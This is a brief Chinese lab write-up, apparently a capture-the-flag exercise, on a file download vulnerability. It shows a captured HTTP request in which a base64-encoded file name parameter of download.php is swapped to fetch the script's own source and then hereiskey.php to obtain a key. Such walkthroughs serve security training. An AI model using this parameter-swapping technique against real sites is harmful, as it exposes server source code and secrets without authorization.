文件下载漏洞练习（一）

（1）打开网页

（2）同样的先抓下包

我们注意到：
url=Y2hvdWJhZ3VhaS5tcDM 还有/download.php

先解码看看是什么

是个文件名

（3）我们试着将其替换成、download.php

GET /download.php?url=ZG93bmxvYWQucGhw= HTTP/1.1
Host: e2ad76b4d4b6d6ed.yunyansec.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://e2ad76b4d4b6d6ed.yunyansec.com/
Accept-Language: zh-CN,zh;q=0.9
Connection: close

（4）文件下载成功，打开后发现还可以有hereiskey.php下载

同样先编码

得到key

转载于:https://blog.51cto.com/antivirusjo/2059595